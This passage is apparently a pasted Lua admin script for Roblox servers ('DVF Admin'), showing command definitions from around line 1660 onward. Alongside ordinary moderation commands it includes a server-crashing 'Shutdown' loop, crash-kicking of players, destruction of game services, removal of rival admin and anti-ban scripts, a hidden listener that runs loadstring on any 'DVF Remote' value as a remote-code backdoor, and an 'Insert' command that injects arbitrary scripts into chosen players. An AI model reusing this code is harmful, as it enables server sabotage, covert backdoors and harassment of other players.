  1660. end
  1661. end
  1662. if #AllScripts > 0 then
  1663. for _,v in pairs(AllScripts) do
  1664. Ping(v, Speaker)
  1665. end
  1666. else
  1667. Ping("No Scripts Found", Speaker, 5)
  1668. end
  1669. end)
  1670.  
  1671. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
  1672. Dismiss(Speaker)
  1673. local LocalScripts = {}
  1674. for _,v in pairs(All()) do
  1675. ypcall(function()
  1676. for _,x in pairs(v.Character:GetChildren()) do
  1677. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1678. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1679. end
  1680. end
  1681. end)
  1682. ypcall(function()
  1683. for _,x in pairs(v.Backpack:GetChildren()) do
  1684. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1685. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1686. end
  1687. end
  1688. end)
  1689. ypcall(function()
  1690. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1691. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1692. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1693. end
  1694. end
  1695. end)
  1696. end
  1697. if #LocalScripts > 0 then
  1698. for _,v in pairs(LocalScripts) do
  1699. Ping(v, Speaker)
  1700. end
  1701. else
  1702. Ping("No Local Scripts Found", Speaker, 5)
  1703. end
  1704. end)
  1705.  
  1706. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1707. local Split = GetSplit(Msg)
  1708. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1709. local ScriptName = Msg:sub(Split + 1)
  1710. local FoundLocal = false
  1711. for _,name in pairs(PlrTab) do
  1712. ypcall(function()
  1713. for _,v in pairs(name.Character:GetChildren()) do
  1714. if string.find(v.Name:lower(), ScriptName) then
  1715. if v:IsA("Script") or v:IsA("LocalScript") then
  1716. v.Disabled = true
  1717. v:Destroy()
  1718. FoundLocal = true
  1719. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1720. end
  1721. end
  1722. end
  1723. end)
  1724. ypcall(function()
  1725. for _,v in pairs(name.Backpack:GetChildren()) do
  1726. if string.find(v.Name:lower(), ScriptName) then
  1727. if v:IsA("Script") or v:IsA("LocalScript") then
  1728. v.Disabled = true
  1729. v:Destroy()
  1730. FoundLocal = true
  1731. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1732. end
  1733. end
  1734. end
  1735. end)
  1736. ypcall(function()
  1737. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1738. if string.find(v.Name:lower(), ScriptName) then
  1739. if v:IsA("Script") or v:IsA("LocalScript") then
  1740. v.Disabled = true
  1741. v:Destroy()
  1742. FoundLocal = true
  1743. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1744. end
  1745. end
  1746. end
  1747. end)
  1748. if FoundLocal == false then
  1749. Ping("Local Script Not Found", Speaker, 5)
  1750. end
  1751. end
  1752. end)
  1753.  
  1754. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1755. for _,v in pairs(game:GetChildren()) do
  1756. ypcall(function()
  1757. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1758. for _,a in pairs(v:GetChildren()) do
  1759. ypcall(function()
  1760. a:Destroy()
  1761. end)
  1762. end
  1763. elseif v.Name == "Players" then
  1764. for _,plr in pairs(v:GetPlayers()) do
  1765. Clear(plr)
  1766. end
  1767. end
  1768. end)
  1769. end
  1770. Clean()
  1771. Fixl()
  1772. Ping("Fully Cleaned", Speaker, 5)
  1773. end)
  1774.  
  1775. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1776. LClean()
  1777. Fixl()
  1778. Ping("Lightly Cleaned", Speaker, 5)
  1779. end)
  1780.  
  1781. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1782. local PlrTab = getPlayer(Speaker, Msg)
  1783. if #PlrTab > 0 then
  1784. for _,v in pairs(PlrTab) do
  1785. ypcall(function()
  1786. v:LoadCharacter()
  1787. Ping("Reset "..v.Name, Speaker, 5)
  1788. end)
  1789. end
  1790. end
  1791. end)
  1792.  
  1793. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1794. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1795. if Work:findFirstChild("Base") then
  1796. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1797. else
  1798. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1799. end
  1800. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1801. end)
  1802.  
  1803. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1804. local PlrTab = getPlayer(Speaker, Msg)
  1805. if #PlrTab > 0 then
  1806. for _,v in pairs(PlrTab) do
  1807. ypcall(function()
  1808. v.Character.Torso.Anchored = true
  1809. Ping("Froze "..v.Name, Speaker, 5)
  1810. end)
  1811. end
  1812. end
  1813. end)
  1814.  
  1815. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1816. local PlrTab = getPlayer(Speaker, Msg)
  1817. if #PlrTab > 0 then
  1818. for _,v in pairs(PlrTab) do
  1819. ypcall(function()
  1820. for _,v2 in pairs(v.Character:GetChildren()) do
  1821. ypcall(function()
  1822. v.Anchored = false
  1823. end)
  1824. end
  1825. Ping("Thawed "..v.Name, Speaker, 5)
  1826. end)
  1827. end
  1828. end
  1829. end)
  1830.  
  1831. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1832. local PlrTab = getPlayer(Speaker, Msg)
  1833. if #PlrTab > 0 then
  1834. for _,v in pairs(PlrTab) do
  1835. ypcall(function()
  1836. Instance.new("ForceField", v.Character)
  1837. end)
  1838. end
  1839. end
  1840. end)
  1841.  
  1842. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1843. local PlrTab = getPlayer(Speaker, Msg)
  1844. if #PlrTab > 0 then
  1845. for _,v in pairs(PlrTab) do
  1846. ypcall(function()
  1847. RemObj(v.Character, "ForceField")
  1848. end)
  1849. end
  1850. end
  1851. end)
  1852.  
  1853. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1854. local Split = GetSplit(Msg)
  1855. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1856. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1857. if #PlrTab > 0 and #PlrTab2 > 0 then
  1858. for i,v in pairs(PlrTab) do
  1859. ypcall(function()
  1860. for _,v2 in pairs(PlrTab2) do
  1861. ypcall(function()
  1862. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1863. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1864. end)
  1865. end
  1866. end)
  1867. end
  1868. end
  1869. end)
  1870.  
  1871. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1872. MakeExplorer(Speaker)
  1873. end)
  1874.  
  1875. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1876. wait()
  1877. Dismiss(Speaker)
  1878. NumBanned = 0
  1879. NumCmds = 0
  1880. for i = 1, #Rankings do
  1881. if Rankings[i].Rank < 0 then
  1882. NumBanned = NumBanned + 1
  1883. end
  1884. end
  1885. for i,v in pairs(Commands) do
  1886. NumCmds = NumCmds + 1
  1887. end
  1888. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1889. Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1890. Ping("Date Started: 18th May 2013", Speaker)
  1891. Ping("Your ID: "..Speaker.userId, Speaker)
  1892. Ping("Total Number Of Players: "..#All2(), Speaker)
  1893. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1894. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1895. Ping("ShowGarbage", Speaker)
  1896. end)
  1897.  
  1898. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1899. Dismiss(Speaker)
  1900. for i,v in pairs(All()) do
  1901. Ping(v.Name.."'s Rank: "..FindRank(v))
  1902. end
  1903. end)
  1904.  
  1905. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1906. local Split = GetSplit(Msg)
  1907. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1908. local Speed = tonumber(Msg:sub(Split + 1))
  1909. for _,v in pairs(PlrTab) do
  1910. ypcall(function()
  1911. v.Character.Humanoid.WalkSpeed = Speed
  1912. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1913. end)
  1914. end
  1915. end)
  1916.  
  1917. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1918. local RemoveAB = Instance.new("StringValue")
  1919. RemoveAB.Name = "CBA Attachment"
  1920. RemoveAB.Value = [[CBA.override=true;]]
  1921. RemoveAB.Parent = Work
  1922. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1923. end)
  1924.  
  1925. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1926. Dismiss(Speaker)
  1927. for i,v in pairs(Injected) do
  1928. Ping(i, Speaker)
  1929. end
  1930. end)
  1931.  
  1932. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1933. local RemoveCBA = Instance.new("StringValue")
  1934. RemoveCBA.Name = "CBA Attachment"
  1935. RemoveCBA.Value = [[CBA.remove = false]]
  1936. RemoveCBA.Parent = Work
  1937. Ping("Removed All CBA Admins", Speaker, 5)
  1938. end)
  1939.  
  1940. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1941. local function BufferOverflow(object)
  1942. object.DescendantAdded:connect(BufferOverflow)
  1943. Instance.new("IntValue", object)
  1944. end
  1945. BufferOverflow(Game)
  1946. end)
  1947.  
  1948. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  1949. if asd.ClassName == 'StringValue' then
  1950. if asd.Name == "DVF Remote" then
  1951. local func = loadstring(asd.Value)
  1952. if func then asd:Destroy() return pcall(func) end
  1953. end asd:Destroy()
  1954. end
  1955. end)
  1956.  
  1957. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1958. local PlrTab = getPlayer(Speaker, Msg)
  1959. if #PlrTab > 0 then
  1960. for _,v in pairs(PlrTab) do
  1961. ypcall(function()
  1962. Crash1(v)
  1963. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1964. end)
  1965. end
  1966. end
  1967. end)
  1968.  
  1969. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1970. local PlrTab = getPlayer(Speaker, Msg)
  1971. if #PlrTab > 0 then
  1972. for _,v in pairs(PlrTab) do
  1973. ypcall(function()
  1974. ChangeRank(v, -1)
  1975. end)
  1976. end
  1977. end
  1978. end)
  1979.  
  1980. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1981. local PlrTab = getPlayer(Speaker, Msg)
  1982. if #PlrTab > 0 then
  1983. for _,v in pairs(PlrTab) do
  1984. ypcall(function()
  1985. ChangeRank(v, -2)
  1986. end)
  1987. end
  1988. end
  1989. end)
  1990.  
  1991. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1992. local PlrTab = getPlayer(Speaker, Msg)
  1993. if #PlrTab > 0 then
  1994. for _,v in pairs(PlrTab) do
  1995. ypcall(function()
  1996. ChangeRank(v, -3)
  1997. end)
  1998. end
  1999. end
  2000. end)
  2001.  
  2002. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2003. ypcall(function()
  2004. local PlrTab = getPlayer(Speaker, Msg)
  2005. if #PlrTab > 0 then
  2006. for _,v in pairs(PlrTab) do
  2007. ypcall(function()
  2008. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2009. end)
  2010. end
  2011. end
  2012. local PlrName = ChangeRank(Msg, 0)
  2013. Ping("Un-Banned "..PlrName, Speaker, 5)
  2014. end)
  2015. end)
  2016.  
  2017. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2018. Dismiss(Speaker)
  2019. Ping("Commands", Speaker, nil, function()
  2020. Dismiss(Speaker.Name)
  2021. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2022. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2023. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2024. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2025. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2026. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2027. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2028. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2029. end)
  2030. Ping("Players", Speaker, nil, function()
  2031. ListPlayers(Speaker)
  2032. end)
  2033. end)
  2034.  
  2035. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2036. ListPlayers(Speaker)
  2037. end)
  2038.  
  2039. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2040. local Func,Error = loadstring(Msg)
  2041. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2042. getfenv(Func).Speaker = Speaker
  2043. if Error == nil then
  2044. coroutine.wrap(function()
  2045. Func()
  2046. end)()
  2047. Ping("Executed Script!", Speaker, 5)
  2048. else
  2049. Ping(Error, Speaker, 10)
  2050. end
  2051. end)
  2052.  
  2053. Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
  2054. if LS ~= nil then
  2055. local Split = GetSplit(Msg)
  2056. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2057. local LocalSource = Msg:sub(Split + 1)
  2058. if #PlrTab > 0 then
  2059. for _,v in pairs(PlrTab) do
  2060. local Inserted = LS:Clone()
  2061. Inserted.Disabled = true
  2062. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2063. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2064. Inserted:findFirstChild(OwnSource).Value = v.Name
  2065. end
  2066. Inserted[LSSource].Value = LocalSource
  2067. Inserted.Disabled = false
  2068. end
  2069. end
  2070. else
  2071. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2072. end
  2073. end)
  2074.  
  2075. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2076. Msg = tostring(Msg)
  2077. Ping(Msg, Speaker)
  2078. end)
  2079.  
  2080. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2081. Dismiss(Speaker)
  2082. for i,v in pairs(getfenv(1)) do
  2083. ypcall(function()
  2084. Ping(tostring(i)..": "..tostring(v), Speaker)
  2085. end)
  2086. end
  2087. end)
  2088.  
  2089. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2090. Dismiss()
  2091. Removed = true
  2092. for i,v in pairs(getfenv(1)) do
  2093. getfenv(1)[i] = nil
  2094. end
  2095. script.Disabled = true
  2096. end)
  2097.  
  2098. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2099. local Split = GetSplit(Msg)
  2100. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2101. local Rank = tonumber(Msg:sub(Split + 1))
  2102. if #PlrTab > 0 then
  2103. for _,v in pairs(PlrTab) do
  2104. if v.Name ~= Owner then
  2105. ChangeRank(v, Rank)
  2106. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2107. end
  2108. end
  2109. end
  2110. end)
  2111.  
  2112. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement